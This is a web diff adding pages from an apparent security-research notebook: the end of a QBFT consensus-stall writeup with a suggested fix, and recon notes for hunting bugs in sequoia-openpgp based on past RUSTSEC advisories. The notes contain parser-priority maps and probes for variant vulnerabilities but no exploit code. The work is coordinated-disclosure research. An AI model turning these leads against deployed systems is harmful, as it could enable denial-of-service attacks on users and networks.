| + | <tr> | |
| + | <td><code>consensus/istanbul/core/roundchange.go</code></td> | |
| + | <td><code>handleRoundChange()</code></td> | |
| + | <td>~118</td> | |
| + | <td>Uses poisoned highestPreparedBlock</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>consensus/istanbul/core/core.go</code></td> | |
| + | <td><code>startNewRound()</code></td> | |
| + | <td>~183</td> | |
| + | <td>ClearLowerThan doesn’t prevent re-poisoning</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Suggested Fix</h2> | |
| + | <p>In <code>roundChangeSet.Add()</code>, do NOT use the single message’s <code>HasBadProposal</code> flag. | |
| + | Either: | |
| + | 1. Always require digest match in <code>hasMatchingRoundChangeAndPrepares()</code> when called | |
| + | from <code>Add()</code> (set <code>hasBadProposal=false</code>), or | |
| + | 2. Defer the <code>highestPreparedBlock</code> decision until quorum is reached and compute | |
| + | <code>hasBadProposal</code> from the full set of RC messages, consistent with <code>isJustified()</code>.</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/electroneum/qbft-hasbadproposal-consensus-stall.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,307 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>sequoia-pgp hunt, iteration 1 (recon) | Zion Boggan</title> | |
| + | <meta name="description" content="Recon and variant-seed inventory against `sequoia-openpgp` based on its historical RUSTSEC advisories."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-1/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="sequoia-pgp hunt - iteration 1 (recon) | Zion Boggan"> | |
| + | <meta property="og:description" content="Recon and variant-seed inventory against `sequoia-openpgp` based on its historical RUSTSEC advisories."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-1/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="sequoia-pgp hunt - iteration 1 (recon) | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Recon and variant-seed inventory against `sequoia-openpgp` based on its historical RUSTSEC advisories."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"sequoia-pgp hunt - iteration 1 (recon)","description":"Recon and variant-seed inventory against `sequoia-openpgp` based on its historical RUSTSEC advisories.","url":"https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-1/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Methodology</div> | |
| + | <h1>sequoia-pgp hunt, iteration 1 (recon)</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p>Time: 2026-04-17 ~08:18 UTC | |
| + | Target: sequoia-pgp (assumed YWH STF, confirm against intel file when desktop scrape lands) | |
| + | Source: gitlab.com/sequoia-pgp/sequoia, shallow clone at source/sequoia/ | |
| + | Latest commit: c67789b (today, 2026-04-17 09:45 +0200) | |
| + | Latest openpgp tag: openpgp/v2.2.0</p> | |
| + | <h2>Why this target</h2> | |
| + | <ul> | |
| + | <li>Active project, fresh upstream activity today.</li> | |
| + | <li>Multiple historical RUSTSEC advisories on <code>sequoia-openpgp</code> (DoS class).</li> | |
| + | <li>Parser-heavy crate (openpgp/src/parse/, ~7400 LoC of parsers).</li> | |
| + | <li>Adjacent to openpgpjs hunt, variant cross-pollination opportunity.</li> | |
| + | </ul> | |
| + | <h2>Historical RUSTSEC anchors (variant seeds)</h2> | |
| + | <h3>RUSTSEC-2024-0345 (CVE-2024-58261)</h3> | |
| + | <ul> | |
| + | <li><code>cert::raw::RawCertParser</code> infinite loop on unsupported cert version.</li> | |
| + | <li>Root cause class: parser does not advance input stream when encountering an | |
| + | unhandled tag/version, so the next iteration sees the same bytes.</li> | |
| + | <li><strong>Variant probe</strong>: enumerate all parser dispatch tables (packet body, subpacket, | |
| + | signature subtype, key type) and check each fall-through arm advances <code>cursor</code>.</li> | |
| + | </ul> | |
| + | <h3>RUSTSEC-2023-0038 (CVE-2023-53160)</h3> | |
| + | <ul> | |
| + | <li>“Several bugs” of attacker-controlled OOB array index → panic (DoS).</li> | |
| + | <li>Root cause class: unchecked <code>slice[idx]</code> after parsing a length field.</li> | |
| + | <li><strong>Variant probe</strong>: grep for <code>\[\w+ as usize\]</code> and indexed access patterns | |
| + | in mpis.rs, packet/<em>, parse/</em>, verify each is preceded by a bounds check | |
| + | derived from the same input.</li> | |
| + | </ul> | |
| + | <h2>Parser surface map (openpgp/src/parse/)</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>File</th> | |
| + | <th>LoC</th> | |
| + | <th>Role</th> | |
| + | <th>Priority</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>stream.rs</td> | |
| + | <td>4321</td> | |
| + | <td>verification / decryption / streaming primitives</td> | |
| + | <td><strong>P1</strong></td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>mpis.rs</td> | |
| + | <td>666</td> | |
| + | <td>RSA/DSA/ECDSA/EdDSA MPI parsing</td> | |
| + | <td>P2</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>hashed_reader.rs</td> | |
| + | <td>644</td> | |
| + | <td>sig hash input wrapper</td> | |
| + | <td>P2</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>packet_pile_parser.rs</td> | |
| + | <td>551</td> | |
| + | <td>packet collection</td> | |
| + | <td>P2</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>packet_parser_builder.rs</td> | |
| + | <td>525</td> | |
| + | <td>parser config / dispatch</td> | |
| + | <td>P3</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>partial_body.rs</td> | |
| + | <td>426</td> | |
| + | <td>partial body length encoding</td> | |
| + | <td><strong>P1</strong> (CVE-history)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>map.rs</td> | |
| + | <td>280</td> | |
| + | <td>metadata</td> | |
| + | <td>P3</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <h2>Cross-project variant, CVE-2025-47934 analog</h2> | |
| + | <p>openpgpjs <code>message.verify()</code> mutated the packet list while computing signatures | |
| + | against the pre-mutation window, so <code>result.data</code> could come from a different | |
| + | window than the verified signature. Same class to look for in | |
| + | <code>sequoia/openpgp/src/parse/stream.rs</code> Verifier / DecryptorBuilder paths: | |
| + | does the verified-data window equal the data delivered to the caller?</p> | |
| + | <h2>Next iteration plan</h2> | |
| + | <ol> | |
| + | <li>Read parse/stream.rs Verifier::verify and DecryptorWithMDC paths.</li> | |
| + | <li>Map data-flow: input bytes → hash context → signature check → data delivered.</li> | |
| + | <li>Compare with the openpgpjs anti-pattern.</li> | |
| + | <li>If clean, pivot to RawCertParser dispatch tables for variant of -0345.</li> | |
| + | </ol> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · methodology/sequoia-pgp-variant-hunting-1.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,279 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>sequoia-pgp hunt, iteration 2 (stream.rs read-after-verify-fail) | Zion Boggan</title> | |
| + | <meta name="description" content="Iteration 2: parser audit and candidate ranking."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
